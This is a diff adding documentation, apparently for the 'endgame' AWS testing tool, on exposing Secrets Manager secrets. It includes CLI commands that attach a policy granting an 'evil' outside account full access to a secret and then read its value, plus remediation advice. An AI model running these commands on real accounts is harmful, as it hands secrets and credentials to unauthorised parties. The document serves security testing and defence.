|
1 | 1 | # Secrets Manager
|
2 | 2 |
|
| 3 | +## Steps to Reproduce |
| 4 | + |
| 5 | +* **Option 1**: To expose the resource using `endgame`, run the following from the victim account: |
| 6 | + |
| 7 | +```bash |
| 8 | +export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil |
| 9 | + |
| 10 | +endgame expose --service secretsmanager --name test-resource-exposure |
| 11 | +``` |
| 12 | + |
| 13 | +* **Option 2**: To expose the resource using AWS CLI, run the following from the victim account: |
| 14 | + |
| 15 | +```bash |
| 16 | +export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil |
| 17 | +export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure |
| 18 | +export EVIL_POLICY='{"Version": "2012-10-17", "Statement": [{"Sid": "AllowCurrentAccount", "Effect": "Allow", "Principal": {"AWS": "arn:aws:iam::999988887777:user/evil"}, "Action": "secretsmanager:*", "Resource": ["arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure"]}]}' |
| 19 | + |
| 20 | +aws secretsmanager put-resource-policy --secret-id --resource-policy $EVIL_POLICY |
| 21 | +``` |
| 22 | + |
| 23 | +* To view the contents of the exposed resource policy, run the following: |
| 24 | + |
| 25 | +```bash |
| 26 | +aws secretsmanager get-resource-policy --secret-id test-resource-exposure |
| 27 | +``` |
| 28 | + |
| 29 | +* Observe that the contents of the exposed resource policy match the example shown below. |
| 30 | + |
| 31 | +## Example |
| 32 | + |
| 33 | +```json |
| 34 | +{ |
| 35 | + "Version": "2012-10-17", |
| 36 | + "Statement": [ |
| 37 | + { |
| 38 | + "Sid": "Endgame", |
| 39 | + "Effect": "Allow", |
| 40 | + "Principal": { |
| 41 | + "AWS": "arn:aws:iam::999988887777:user/evil" |
| 42 | + }, |
| 43 | + "Action": "secretsmanager:*", |
| 44 | + "Resource": [ |
| 45 | + "arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure" |
| 46 | + ] |
| 47 | + } |
| 48 | + ] |
| 49 | +} |
| 50 | +``` |
| 51 | + |
| 52 | +## Exploitation |
| 53 | + |
| 54 | +* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`) |
| 55 | + |
| 56 | +* Run the following command in the victim account: |
| 57 | + |
| 58 | +```bash |
| 59 | +export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure |
| 60 | + |
| 61 | +aws secretsmanager get-secret-value --secret-id $VICTIM_RESOURCE |
| 62 | +``` |
| 63 | + |
| 64 | +* Observe that the output resembles the following: |
| 65 | + |
| 66 | +```json |
| 67 | +{ |
| 68 | + "ARN": "arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure", |
| 69 | + "Name": "test-resource-exposure", |
| 70 | + "VersionId": "DOGECOIN", |
| 71 | + "SecretString": "{\n \"username\":\"doge\",\n \"password\":\"coin\"\n}\n", |
| 72 | + "VersionStages": [ |
| 73 | + "AWSCURRENT" |
| 74 | + ], |
| 75 | + "CreatedDate": 1523477145.713 |
| 76 | +} |
| 77 | +``` |
| 78 | + |
| 79 | +## Remediation |
| 80 | + |
| 81 | +* **Trusted Accounts Only**: Ensure that Secrets Manager secrets are only shared with trusted accounts, and that the trusted accounts truly need access to the secret. |
| 82 | +* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. |
| 83 | +* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Secrets Manager secrets. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-secrets-manager) for more details. |
| 84 | +* **Restrict access to IAM permissions that could expose your Secrets**: Tightly control access to the following IAM actions: |
| 85 | + - [secretsmanager:GetResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetResourcePolicy.html): _Enables the user to get the resource policy attached to a secret._ |
| 86 | + - [secretsmanager:GetSecretValue](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html): _Enables the user to retrieve and decrypt the encrypted data._ |
| 87 | + - [secretsmanager:DeleteResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_DeleteResourcePolicy.html): _Enables the user to delete the resource policy attached to a secret._ |
| 88 | + - [secretsmanager:ListSecrets](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_ListSecrets.html): _Enables the user to list the available secrets._ |
| 89 | + - [secretsmanager:PutResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_PutResourcePolicy.html): _Enables the user to attach a resource policy to a secret._ |
| 90 | + |
| 91 | +Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) |
3 | 92 |
|
4 | 93 | ## References
|
5 | 94 |
|
6 |
| -* [put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html) |
| 95 | +* [aws secretsmanager get-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-resource-policy.html) |
| 96 | +* [aws secretsmanager get-secret-value](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-secret-value.html) |
| 97 | +* [aws secretsmanager put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html) |
0 commit comments